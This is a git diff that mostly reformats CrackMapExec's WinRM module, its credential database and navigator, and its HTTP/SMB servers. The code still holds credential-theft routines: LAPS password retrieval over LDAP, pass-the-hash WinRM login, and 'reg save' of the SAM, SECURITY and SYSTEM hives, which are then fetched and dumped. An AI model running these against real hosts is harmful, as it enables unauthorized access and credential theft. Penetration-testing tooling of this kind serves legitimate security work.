"", ) if not connection: - self.logger.fail('LDAP connection failed with account {}'.format(username[0])) + self.logger.fail( + "LDAP connection failed with account {}".format(username[0]) + ) return False - search_filter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.hostname + '))' - attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName'] + search_filter = ( + "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + + self.hostname + + "))" + ) + attributes = [ + "msLAPS-EncryptedPassword", + "msLAPS-Password", + "ms-MCS-AdmPwd", + "sAMAccountName", + ] results = connection.search( - searchFilter=search_filter, - attributes=attributes, - sizeLimit=0 + searchFilter=search_filter, attributes=attributes, sizeLimit=0 ) - msMCSAdmPwd = '' - sAMAccountName = '' - username = '' + msMCSAdmPwd = "" + sAMAccountName = "" + username = "" from impacket.ldap import ldapasn1 as ldapasn1_impacket - results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] + + results = [ + r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry) + ] if len(results) != 0: for host in results: - values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in host['attributes']} + values = { + str(attr["type"]).lower(): str(attr["vals"][0]) + for attr in host["attributes"] + } if "mslaps-encryptedpassword" in values: - self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") + self.logger.fail( + "LAPS password is encrypted and currently CrackMapExec doesn't support the decryption..." + ) return False elif "mslaps-password" in values: from json import loads - r = loads(values['mslaps-password']) - msMCSAdmPwd = r['p'] - username = r['n'] + + r = loads(values["mslaps-password"]) + msMCSAdmPwd = r["p"] + username = r["n"] elif "ms-mcs-admpwd" in values: - msMCSAdmPwd = values['ms-mcs-admpwd'] + msMCSAdmPwd = values["ms-mcs-admpwd"] else: - self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") - logging.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname)) + self.logger.fail( + "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" + ) + logging.debug( + "Host: {:<20} Password: {} {}".format( + sAMAccountName, msMCSAdmPwd, self.hostname + ) + ) else: - self.logger.fail('msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}'.format(self.hostname)) + self.logger.fail( + "msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}".format( + self.hostname + ) + ) return False self.username = self.args.laps if not username else username self.password = msMCSAdmPwd - if msMCSAdmPwd == '': - self.logger.fail('msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}'.format(self.hostname)) + if msMCSAdmPwd == "": + self.logger.fail( + "msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}".format( + self.hostname + ) + ) return False if ntlm_hash: hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest() @@ -203,37 +311,45 @@ class winrm(connection): self.logger.display(self.endpoint) else: self.logger.extra["protocol"] = "SMB" - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") + self.logger.display( + f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" + ) self.logger.extra["protocol"] = "HTTP" self.logger.display(self.endpoint) self.logger.extra["protocol"] = "WINRM" if self.args.laps: - return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) + return self.laps_search( + self.args.username, self.args.password, self.args.hash, self.domain + ) return True def create_conn_obj(self): endpoints = [ f"https://{self.host}:{self.args.port if self.args.port else 5986}/wsman", - f"http://{self.host}:{self.args.port if self.args.port else 5985}/wsman" + f"http://{self.host}:{self.args.port if self.args.port else 5985}/wsman", ] for url in endpoints: try: self.logger.debug(f"winrm create_conn_obj() - Requesting URL: {url}") res = requests.post(url, verify=False, timeout=self.args.http_timeout) - self.logger.debug(f"winrm create_conn_obj() - Received response code: {res.status_code}") + self.logger.debug( + f"winrm create_conn_obj() - Received response code: {res.status_code}" + ) self.endpoint = url - if self.endpoint.startswith('https://'): + if self.endpoint.startswith("https://"): self.port = self.args.port if self.args.port else 5986 else: self.port = self.args.port if self.args.port else 5985 - self.logger.extra['port'] = self.port + self.logger.extra["port"] = self.port return True except requests.exceptions.Timeout as e: self.logger.info(f"Connection Timed out to WinRM service: {e}") except requests.exceptions.ConnectionError as e: - if 'Max retries exceeded with url' in str(e): - self.logger.info(f"Connection Timeout to WinRM service (max retries exceeded)") + if "Max retries exceeded with url" in str(e): + self.logger.info( + f"Connection Timeout to WinRM service (max retries exceeded)" + ) else: self.logger.info(f"Other ConnectionError to WinRM service: {e}") return False @@ -241,6 +357,7 @@ class winrm(connection): def plaintext_login(self, domain, username, password): try: from urllib3.connectionpool import log + log.addFilter(SuppressFilter()) if not self.args.laps: self.password = password @@ -249,27 +366,27 @@ class winrm(connection): if self.args.ssl and self.args.ignore_ssl_cert: self.conn = Client( self.host, - auth='ntlm', + auth="ntlm", username=f"{domain}\\{self.username}", password=self.password, ssl=True, - cert_validation=False + cert_validation=False, ) elif self.args.ssl: self.conn = Client( self.host, - auth='ntlm', - username=f'{domain}\\{self.username}', + auth="ntlm", + username=f"{domain}\\{self.username}", password=self.password, - ssl=True + ssl=True, ) else: self.conn = Client( self.host, - auth='ntlm', - username=f'{domain}\\{self.username}', + auth="ntlm", + username=f"{domain}\\{self.username}", password=self.password, - ssl=False + ssl=False, ) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server @@ -280,22 +397,26 @@ class winrm(connection): f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}" ) - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential('plaintext', domain, self.username, self.password) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.password}" + ) + self.db.add_credential("plaintext", domain, self.username, self.password) # TODO: when we can easily get the host_id via RETURNING statements, readd this in # host_id = self.db.get_hosts(self.host)[0].id # self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: self.logger.debug(f"Inside admin privs") - self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id) + self.db.add_admin_user( + "plaintext", domain, self.username, self.password, self.host + ) # , user_id=user_id) if not self.args.local_auth: - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except Exception as e: - if "with ntlm" in str(e): + if "with ntlm" in str(e): self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}" ) @@ -309,15 +430,16 @@ class winrm(connection): def hash_login(self, domain, username, ntlm_hash): try: from urllib3.connectionpool import log + log.addFilter(SuppressFilter()) - lmhash = '00000000000000000000000000000000:' - nthash = '' + lmhash = "00000000000000000000000000000000:" + nthash = "" if not self.args.laps: self.username = username # This checks to see if we didn't provide the LM Hash - if ntlm_hash.find(':') != -1: - lmhash, nthash = ntlm_hash.split(':') + if ntlm_hash.find(":") != -1: + lmhash, nthash = ntlm_hash.split(":") else: nthash = ntlm_hash ntlm_hash = lmhash + nthash @@ -327,32 +449,32 @@ class winrm(connection): self.nthash = nthash else: nthash = self.hash - + self.domain = domain if self.args.ssl and self.args.ignore_ssl_cert: self.conn = Client( self.host, - auth='ntlm', + auth="ntlm", username=f"{self.domain}\\{self.username}", password=lmhash + nthash, ssl=True, - cert_validation=False + cert_validation=False, ) elif self.args.ssl: self.conn = Client( self.host, - auth='ntlm', + auth="ntlm", username=f"{self.domain}\\{self.username}", password=lmhash + nthash, - ssl=True + ssl=True, ) else: self.conn = Client( self.host, - auth='ntlm', + auth="ntlm", username=f"{self.domain}\\{self.username}", password=lmhash + nthash, - ssl=False + ssl=False, ) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server @@ -373,7 +495,7 @@ class winrm(connection): return True except Exception as e: - if "with ntlm" in str(e): + if "with ntlm" in str(e): self.logger.fail( f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}" ) @@ -396,14 +518,18 @@ class winrm(connection): def ps_execute(self, payload=None, get_output=False): r = self.conn.execute_ps(self.args.ps_execute) - self.logger.success('Executed command') + self.logger.success("Executed command") self.logger.highlight(r[0]) def sam(self): - self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM") + self.conn.execute_cmd( + "reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" + ) self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam") self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") - self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM") + self.conn.execute_cmd( + "del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM" + ) local_operations = LocalOperations(self.output_filename + ".system") boot_key = local_operations.getBootKey() @@ -411,16 +537,22 @@ class winrm(connection): self.output_filename + ".sam", boot_key, isRemote=None, - perSecretCallback=lambda secret: self.logger.highlight(secret) + perSecretCallback=lambda secret: self.logger.highlight(secret), ) SAM.dump() SAM.export(self.output_filename + ".sam") def lsa(self): - self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM") - self.conn.fetch("C:\\windows\\temp\\SECURITY", self.output_filename + ".security") + self.conn.execute_cmd( + "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" + ) + self.conn.fetch( + "C:\\windows\\temp\\SECURITY", self.output_filename + ".security" + ) self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") - self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY") + self.conn.execute_cmd( + "del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY" + ) local_operations = LocalOperations(self.output_filename + ".system") boot_key = local_operations.getBootKey() @@ -429,7 +561,7 @@ class winrm(connection): boot_key, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret) + perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), ) LSA.dumpCachedHashes() LSA.dumpSecrets() diff --git a/cme/protocols/winrm/database.py b/cme/protocols/winrm/database.py index 5e2dd7d2..672fb8d8 100644 --- a/cme/protocols/winrm/database.py +++ b/cme/protocols/winrm/database.py @@ -4,11 +4,14 @@ from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table, select, func, delete -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from cme.logger import cme_logger - class database: def __init__(self, db_engine): self.HostsTable = None @@ -19,10 +22,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -30,15 +30,18 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "port" integer, "hostname" text, "domain" text, "os" text - )''') - db_conn.execute('''CREATE TABLE "users" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "users" ( "id" integer PRIMARY KEY, "domain" text, "username" text, @@ -46,29 +49,42 @@ class database: "credtype" text, "pillaged_from_hostid" integer, FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "admin_relations" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "admin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "loggedin_relations" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "loggedin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) - self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) - self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) - self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) + self.UsersTable = Table( + "users", self.metadata, autoload_with=self.db_engine + ) + self.AdminRelationsTable = Table( + "admin_relations", self.metadata, autoload_with=self.db_engine + ) + self.LoggedinRelationsTable = Table( + "loggedin_relations", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): print( "[-] Error reflecting tables - this means there is a DB schema mismatch \n" @@ -96,12 +112,10 @@ class database: Check if this host has already been added to the database, if not, add it in. TODO: return inserted or updated row ids as a list """ - domain = domain.split('.')[0].upper() + domain = domain.split(".")[0].upper() hosts = [] - q = select(self.HostsTable).filter( - self.HostsTable.c.ip == ip - ) + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.conn.execute(q).all() cme_logger.debug(f"smb add_host() - hosts returned: {results}") @@ -137,21 +151,17 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, - set_=update_columns - ) - self.conn.execute( - q, - hosts + index_elements=self.HostsTable.primary_key, set_=update_columns ) + self.conn.execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): """ Check if this credential has already been added to the database, if not add it in. """ - domain = domain.split('.')[0].upper() + domain = domain.split(".")[0].upper() credentials = [] credential_data = {} @@ -169,7 +179,7 @@ class database: q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - func.lower(self.UsersTable.c.credtype) == func.lower(credtype) + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.conn.execute(q).all() @@ -205,15 +215,13 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) - update_columns_users = {col.name: col for col in q_users.excluded if col.name not in 'id'} + update_columns_users = { + col.name: col for col in q_users.excluded if col.name not in "id" + } q_users = q_users.on_conflict_do_update( - index_elements=self.UsersTable.primary_key, - set_=update_columns_users + index_elements=self.UsersTable.primary_key, set_=update_columns_users ) - self.conn.execute( - q_users, - credentials - ) # .scalar() + self.conn.execute(q_users, credentials) # .scalar() # return user_ids def remove_credentials(self, creds_id): @@ -222,27 +230,23 @@ class database: """ del_hosts = [] for cred_id in creds_id: - q = delete(self.UsersTable).filter( - self.UsersTable.c.id == cred_id - ) + q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.conn.execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): - domain = domain.split('.')[0] + domain = domain.split(".")[0] add_links = [] creds_q = select(self.UsersTable) if user_id: - creds_q = creds_q.filter( - self.UsersTable.c.id == user_id - ) + creds_q = creds_q.filter(self.UsersTable.c.id == user_id) else: creds_q = creds_q.filter( func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - self.UsersTable.c.password == password + self.UsersTable.c.password == password, ) users = self.conn.execute(creds_q) hosts = self.get_hosts(host) @@ -251,13 +255,10 @@ class database: for user, host in zip(users, hosts): user_id = user[0] host_id = host[0] - link = { - "userid": user_id, - "hostid": host_id - } + link = {"userid": user_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, - self.AdminRelationsTable.c.hostid == host_id + self.AdminRelationsTable.c.hostid == host_id, ) links = self.conn.execute(admin_relations_select).all() @@ -266,10 +267,7 @@ class database: admin_relations_insert = Insert(self.AdminRelationsTable) - self.conn.execute( - admin_relations_insert, - add_links - ) + self.conn.execute(admin_relations_insert, add_links) def get_admin_relations(self, user_id=None, host_id=None): if user_id: @@ -290,14 +288,10 @@ class database: q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: - q = q.filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: - q = q.filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.conn.execute(q) def is_credential_valid(self, credential_id): @@ -306,7 +300,7 @@ class database: """ q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, - self.UsersTable.c.password is not None + self.UsersTable.c.password is not None, ) results = self.conn.execute(q).all() return len(results) > 0 @@ -317,15 +311,11 @@ class database: """ # if we're returning a single credential by ID if self.is_credential_valid(filter_term): - q = select(self.UsersTable).filter( - self.UsersTable.c.id == filter_term - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: - q = select(self.UsersTable).filter( - self.UsersTable.c.credtype == cred_type - ) + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.username).like(like_term) @@ -355,9 +345,7 @@ class database: """ Check if this host ID is valid. """ - q = select(self.HostsTable).filter( - self.HostsTable.c.id == host_id - ) + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -369,25 +357,21 @@ class database: # if we're returning a single host by ID if self.is_host_valid(filter_term): - q = q.filter( - self.HostsTable.c.id == filter_term - ) + q = q.filter(self.HostsTable.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by domain controllers - elif filter_term is not None and filter_term.startswith('domain'): + elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") - q = q.filter( - self.HostsTable.c.domain.like(like_term) - ) + q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = q.filter( - self.HostsTable.c.ip.like(like_term) | - func.lower(self.HostsTable.c.hostname).like(like_term) + self.HostsTable.c.ip.like(like_term) + | func.lower(self.HostsTable.c.hostname).like(like_term) ) results = self.conn.execute(q).all() cme_logger.debug(f"winrm get_hosts() - results: {results}") @@ -397,9 +381,7 @@ class database: """ Check if this User ID is valid. """ - q = select(self.UsersTable).filter( - self.UsersTable.c.id == user_id - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -407,22 +389,18 @@ class database: q = select(self.UsersTable) if self.is_user_valid(filter_term): - q = q.filter( - self.UsersTable.c.id == filter_term - ) + q = q.filter(self.UsersTable.c.id == filter_term) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = q.filter(func.lower(self.UsersTable.c.username).like(like_term)) results = self.conn.execute(q).all() return results def get_user(self, domain, username): q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), - func.lower(self.UsersTable.c.username) == func.lower(username) + func.lower(self.UsersTable.c.username) == func.lower(username), ) results = self.conn.execute(q).all() return results @@ -430,49 +408,39 @@ class database: def add_loggedin_relation(self, user_id, host_id): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.userid == user_id, - self.LoggedinRelationsTable.c.hostid == host_id + self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.conn.execute(relation_query).all() # only add one if one doesn't already exist if not results: - relation = { - "userid": user_id, - "hostid": host_id - } + relation = {"userid": user_id, "hostid": host_id} try: # TODO: find a way to abstract this away to a single Upsert call - q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) - - self.conn.execute( - q, - [relation] - ) # .scalar() + q = Insert( + self.LoggedinRelationsTable + ) # .returning(self.LoggedinRelationsTable.c.id) + + self.conn.execute(q, [relation]) # .scalar() # return inserted_ids except Exception as e: cme_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, user_id=None, host_id=None): - q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) + q = select( + self.LoggedinRelationsTable + ) # .returning(self.LoggedinRelationsTable.c.id) if user_id: - q = q.filter( - self.LoggedinRelationsTable.c.userid == user_id - ) + q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) results = self.conn.execute(q).all() return results def remove_loggedin_relations(self, user_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if user_id: - q = q.filter( - self.LoggedinRelationsTable.c.userid == user_id - ) + q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) elif host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) - self.conn.execute(q) \ No newline at end of file + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) + self.conn.execute(q) diff --git a/cme/protocols/winrm/db_navigator.py b/cme/protocols/winrm/db_navigator.py index ba22a99d..0d99754f 100644 --- a/cme/protocols/winrm/db_navigator.py +++ b/cme/protocols/winrm/db_navigator.py @@ -7,7 +7,7 @@ from cme.helpers.misc import validate_ntlm class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: cred_id = cred[0] @@ -18,19 +18,20 @@ class navigator(DatabaseNavigator): # pillaged_from = cred[5] links = self.db.get_admin_relations(user_id=cred_id) - data.append([cred_id, str(len(links)) + ' Host(s)', credtype, domain, username, password]) - print_table(data, title='Credentials') + data.append( + [ + cred_id, + str(len(links)) + " Host(s)", + credtype, + domain, + username, + password, + ] + ) + print_table(data, title="Credentials") def display_hosts(self, hosts): - data = [[ - 'HostID', - 'Admins', - 'IP', - 'Port', - 'Hostname', - 'Domain', - 'OS' - ]] + data = [["HostID", "Admins", "IP", "Port", "Hostname", "Domain", "OS"]] for host in hosts: host_id = host[0] @@ -45,16 +46,18 @@ class navigator(DatabaseNavigator): os = host[5] links = self.db.get_admin_relations(host_id=host_id) - data.append([ - host_id, - str(len(links)) + ' Cred(s)', - ip, - port, - hostname, - domain, - os, - ]) - print_table(data, title='Hosts') + data.append( + [ + host_id, + str(len(links)) + " Cred(s)", + ip, + port, + hostname, + domain, + os, + ] + ) + print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() @@ -68,14 +71,7 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [[ - 'HostID', - 'IP', - 'Port', - 'Hostname', - 'Domain', - 'OS' - ]] + data = [["HostID", "IP", "Port", "Hostname", "Domain", "OS"]] host_id_list = [] for host in hosts: @@ -91,17 +87,10 @@ class navigator(DatabaseNavigator): except: os = host[5] - data.append([ - host_id, - ip, - port, - hostname, - domain, - os - ]) - print_table(data, title='Host') + data.append([host_id, ip, port, hostname, domain, os]) + print_table(data, title="Host") - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) @@ -117,7 +106,7 @@ class navigator(DatabaseNavigator): credtype = cred[4] # pillaged_from = cred[5] data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Credential(s) with Admin Access') + print_table(data, title="Credential(s) with Admin Access") def help_hosts(self): help_string = """ @@ -172,7 +161,16 @@ class navigator(DatabaseNavigator): if len(creds) != 1: self.display_creds(creds) elif len(creds) == 1: - data = [['CredID', 'CredType', 'Pillaged From HostID', 'Domain', 'UserName', 'Password']] + data = [ + [ + "CredID", + "CredType", + "Pillaged From HostID", + "Domain", + "UserName", + "Password", + ] + ] cred_id_list = [] for cred in creds: @@ -184,10 +182,12 @@ class navigator(DatabaseNavigator): credtype = cred[4] pillaged_from = cred[5] - data.append([cred_id, credtype, pillaged_from, domain, username, password]) - print_table(data, title='Credential(s)') + data.append( + [cred_id, credtype, pillaged_from, domain, username, password] + ) + print_table(data, title="Credential(s)") - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) @@ -203,7 +203,7 @@ class navigator(DatabaseNavigator): os = host[4] data.append([host_id, ip, hostname, domain, os]) - print_table(data, title='Admin Access to Host(s)') + print_table(data, title="Admin Access to Host(s)") def help_creds(self): help_string = """ @@ -226,7 +226,12 @@ class navigator(DatabaseNavigator): print_help(help_string) def do_clear_database(self, line): - if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": + if ( + input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) + == "y" + ): self.db.clear_database() def help_clear_database(self): @@ -236,5 +241,3 @@ class navigator(DatabaseNavigator): YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) - - diff --git a/cme/servers/http.py b/cme/servers/http.py index 5f8a6c42..d7a17119 100755 --- a/cme/servers/http.py +++ b/cme/servers/http.py @@ -13,20 +13,34 @@ from cme.logger import CMEAdapter class RequestHandler(BaseHTTPRequestHandler): - def log_message(self, format, *args): - server_logger = CMEAdapter(extra={'module_name': self.server.module.name.upper(), 'host': self.client_address[0]}) + server_logger = CMEAdapter( + extra={ + "module_name": self.server.module.name.upper(), + "host": self.client_address[0], + } + ) server_logger.display("- - %s" % (format % args)) def do_GET(self): - if hasattr(self.server.module, 'on_request'): - server_logger = CMEAdapter(extra={'module_name': self.server.module.name.upper(), 'host': self.client_address[0]}) + if hasattr(self.server.module, "on_request"): + server_logger = CMEAdapter( + extra={ + "module_name": self.server.module.name.upper(), + "host": self.client_address[0], + } + ) self.server.context.log = server_logger self.server.module.on_request(self.server.context, self) def do_POST(self): - if hasattr(self.server.module, 'on_response'): - server_logger = CMEAdapter(extra={'module_name': self.server.module.name.upper(), 'host': self.client_address[0]}) + if hasattr(self.server.module, "on_response"): + server_logger = CMEAdapter( + extra={ + "module_name": self.server.module.name.upper(), + "host": self.client_address[0], + } + ) self.server.context.log = server_logger self.server.module.on_response(self.server.context, self) @@ -36,14 +50,15 @@ class RequestHandler(BaseHTTPRequestHandler): """ try: self.server.hosts.remove(self.client_address[0]) - if hasattr(self.server.module, 'on_shutdown'): - self.server.module.on_shutdown(self.server.context, self.server.connection) + if hasattr(self.server.module, "on_shutdown"): + self.server.module.on_shutdown( + self.server.context, self.server.connection + ) except ValueError: pass class CMEServer(threading.Thread): - def __init__(self, module, context, logger, srv_host, port, server_type="https"): try: threading.Thread.__init__(self) @@ -52,20 +67,24 @@ class CMEServer(threading.Thread): self.server.hosts = [] self.server.module = module self.server.context = context - self.server.log = CMEAdapter(extra={"module_name": self.server.module.name.upper()}) + self.server.log = CMEAdapter( + extra={"module_name": self.server.module.name.upper()} + ) self.cert_path = os.path.join(os.path.expanduser("~/.cme"), "cme.pem") self.server.track_host = self.track_host - logger.debug('CME server type: ' + server_type) - if server_type == 'https': - self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) + logger.debug("CME server type: " + server_type) + if server_type == "https": + self.server.socket = ssl.wrap_socket( + self.server.socket, certfile=self.cert_path, server_side=True + ) except Exception as e: errno, message = e.args - if errno == 98 and message == 'Address already in use': + if errno == 98 and message == "Address already in use": logger.error( "Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port" - ) + ) else: logger.error(f"Error starting HTTP(S) server: {message}") @@ -86,7 +105,9 @@ class CMEServer(threading.Thread): def shutdown(self): try: while len(self.server.hosts) > 0: - self.server.log.info(f"Waiting on {highlight(len(self.server.hosts))} host(s)") + self.server.log.info( + f"Waiting on {highlight(len(self.server.hosts))} host(s)" + ) sleep(15) except KeyboardInterrupt: pass diff --git a/cme/servers/smb.py b/cme/servers/smb.py index 1fbce231..57da9355 100755 --- a/cme/servers/smb.py +++ b/cme/servers/smb.py @@ -7,19 +7,29 @@ from impacket import smbserver class CMESMBServer(threading.Thread): - - def __init__(self, logger, share_name, share_path="/tmp/cme_hosted", listen_address="0.0.0.0", listen_port=445, verbose=False): + def __init__( + self, + logger, + share_name, + share_path="/tmp/cme_hosted", + listen_address="0.0.0.0", + listen_port=445, + verbose=False, + ): try: threading.Thread.__init__(self) self.server = smbserver.SimpleSMBServer(listen_address, 